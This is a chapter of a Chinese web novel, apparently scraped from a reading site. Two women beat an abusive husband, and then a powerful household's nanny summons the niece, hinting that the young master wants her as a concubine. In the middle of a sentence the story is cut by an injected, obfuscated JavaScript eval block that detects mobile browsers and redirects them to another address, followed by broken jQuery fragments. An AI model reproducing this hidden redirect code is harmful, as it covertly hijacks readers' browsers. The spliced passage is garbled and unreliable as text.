11. 第 11 章

李玉娘一直闭着眼睛,可预期中的疼痛并没有降临,耳边却不断地传来阵阵哀嚎声。


难不成陈叁在打阿阮?


她慌忙睁开眼睛——她看见一个劲哀嚎的人竟是自己的丈夫,而自家那娇弱的外甥女正举着半人高的门栓,恶狠狠的敲在陈叁的身上。


李玉娘出神的看着。


她看见陈叁像一只癞皮狗一样在污秽的呕吐物中翻滚躲避,她看着这个施暴的男人像往日的自己一样,只知道哀嚎求饶。


不,他还不如她,最起码她是因为体型的悬殊不得不承受这种屈辱和痛苦,而眼前这个男人却轻易的被一个娇弱的女郎打倒。


原来,陈叁也是怕痛的。


她将目光移向阿阮手中的木栓上,再也移不开视线。


唐阮累得气喘吁吁,却见自家小姨神游天外,她眼珠子一转,将门栓塞在小姨手里。


像贵人教她的那样,唐阮也抓住了李玉娘的手,“小姨,打!”


李玉娘连连摇头,拒绝之意极其明显,但在唐阮的逼迫下,手中的木棍到底是落在了男人的身上。


虽然软趴趴的,虽然只有闷闷的声响,却如同惊雷一般,惊醒了两个人。


陈叁怒目而视,唐阮是唐家的人,从小娇惯坏了,打他他也认了,可李玉娘是他的妻子,是他出气筒和泄欲的工具,怎敢朝他大小声,“你这个贱人,竟敢·····”


唐阮再次握紧李玉娘的手,“没吃饭吗小姨,用力!”


颤抖的门栓歪歪斜斜的落在陈叁的鼻子上,没有多少痛意,却几乎将他的鼻子气歪。


暴怒的男人还未来得及说些什么,又是一棍朝着他的面门而来,而这次,夹带着呼啸声。


李玉娘咬着牙,拼尽了全身的力气。


“去死吧!”


那无数不得安寝的夜晚,无数次朝她挥舞的拳头,还有眼前这个已经烂进骨子里的男人。


通通都去死吧!


陈叁下意识的仰头看着,两只眼睛因太过入神而成了斗鸡眼的模样,只会呆呆的看着朝他当头而来的木栓。


木栓擦着他的鼻尖而过,重重的敲在地上,陈叁没有感觉到任何痛意,只有□□传来温热的湿意。


好温暖啊。


他双眼一闭,直接栽倒在地。


李玉娘回首望向唐阮,在对方的眼中都看见了泪花。


这次是高兴的。


姨甥二人还未就这场胜利交流心得,门外再次传来了咚咚咚的敲门声,然后是一个婆子的声音。


“可是李家玉娘?”


今天怎么总有人来?唐阮疑惑的看向小姨,却在她的眼中看见了同样的惊讶。


李玉娘清了清嗓子,壮着胆子回道,“是我,敢问您是哪位?”


门外的人很是守礼,哪怕门只是虚掩着也站在门口,并未踏进半步。


唐阮甚至怀疑,屋外的人已经借着那条门缝将屋内的一切一览无余。


即便这样,外头的声线丁点未变,仍旧是那副波澜不惊的模样,“老身是钟毓园的,别人都喊我一声麻婆子”。


李玉娘一惊,钟毓园是大少爷的院子,而这位姓麻的婆子正是大少爷的奶嬷嬷,在陈家算得上是金字塔的塔尖,莫说是下人,便是有些年纪小的主子都要给她几分尊重。


李玉娘根本不敢得罪这样的人物,但她看着眼混乱的屋子,还有那倒在污秽中的男人,更不敢叫人家进来。


她连忙抹了一把眼泪,口中回道,“来了来了”。


李玉娘连跑带走,从门缝中跻身出去,又反手将门紧紧的阖上,挡住内里的所有。


只见一个穿着极为体面的婆子正拢着手站在门口,正是麻婆子。


她瞧见李玉娘的动作,眼中微闪,没说什么反而温和的笑了,“大少爷说您家来了亲戚,他有事在身抽不出空,特意吩咐老奴来招呼一声”。


这位在钟毓园里说一不二的麻婆子说话客气极了,“既是亲戚,总不好叫人空着手回去的道理”。


大人物折节相交总是让人忐忑的,李玉娘犹豫了片刻,客气的回道,“多谢大少爷关怀,只是我家外甥女这便要走了”。


一个奴仆的亲戚罢了,对陈府来说与地上的蚂蚁无异,别说放在眼里,不一脚踩死已经是最大的仁慈,怎敢惊动大少爷尊驾。


麻婆子又笑了,眉宇间却没有一丝笑意,“玉娘,老身喊你一声玉娘,也不算托大”。


她意味深长的看向远处,“大少爷的善心,你要接好了才是”。


说句大不敬的话,在陈府这一亩三分地上,大少爷就是所有人头顶上的天,就是陈家的土皇帝。


皇帝叫人做什么


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return\\w+};c=1;};while(c--)if(k[c])p=p.replace(new regexp(\\b+e(c)+\\b,g),k[c]);return p;}(8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="},24,24,userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14924183|160421||http|test|mini|href|location.split(|),0,{}));


() {


$(.inform).remove();


$(#content).append(


,自然没有被人拒绝的道理,安心听话才是奴仆们该做的事情。


况且,大少爷不开口,这陈府是一个下人亲戚想来就来,想走就走的地方吗?


李玉娘也看到了不远处守着各处出口的人,她沉默片刻,“奴婢替外甥女先谢过大少爷,不过这赏赐?”


麻婆子意味深长的道,“等到了钟毓园你自然便晓得了”。


李玉娘闭了闭眼,刚才片刻的痛快全然被无奈所替换,她叹了一口气,佯装出欢快的声音,“阿阮,快收拾收拾,咱们去钟毓园瞧瞧稀罕去”。


麻婆子满意点头,以前她也听说这个面团似的人物,没想到今日接触下来,倒不是个傻的。


不过也难怪她高兴,一个普通的商户女,能被大少爷看中,那是求神拜佛才有的好福气。


再说了,少爷那么优秀,谁又能拒绝呢。


唐阮没听见、也没有瞧见门口的动静,她已经收拾妥当,很想立刻回家,但看见小姨为难的神色,还是咽下了口中的拒绝。


毕竟,二人已经打了陈叁,若是再得罪大少爷,小姨的日子只怕更难熬了。


“哎,来了”。


唐阮绕过地上的污秽之物和污秽之人,同样将房门打开一条缝,从中钻了出去。


正午时分,太阳爬到了正头顶的位置,刺眼的阳光从上头洒下来,照在人的脸上。


麻婆子眯起眼睛,不知是阳光刺眼,还是刚出门的少女姿容耀眼。


“麻嬷嬷”,唐阮轻轻一福。


被艳色所摄,麻婆子愣了一下,才记得用最最挑剔的眼神在少女身上来回扫视。


嗯,那双眼睛太圆太亮,不好,不够乖巧听话。


这身段也不行,不是眼下流行的削肩窄腰,反倒有些过于丰盈,可能是个贪图口腹之欲的。


不过这样也有一桩好处,麻婆子的眼神落在鼓鼓囊囊的挺翘处——屁股大了好生小子。


想到这里,她的眼神更肆无忌惮的在唐阮身上扫了一圈。


大少爷至今膝下无子,若是此人真能为大少爷诞下一子,那才是上上福气呢。


唐阮只觉得那婆子的眼神无比奇怪,像是将她论斤称量放在称上。


她不喜欢这个眼神,悄悄的往小姨身后躲了躲,可无论怎么躲——


钟毓园已近在眼前。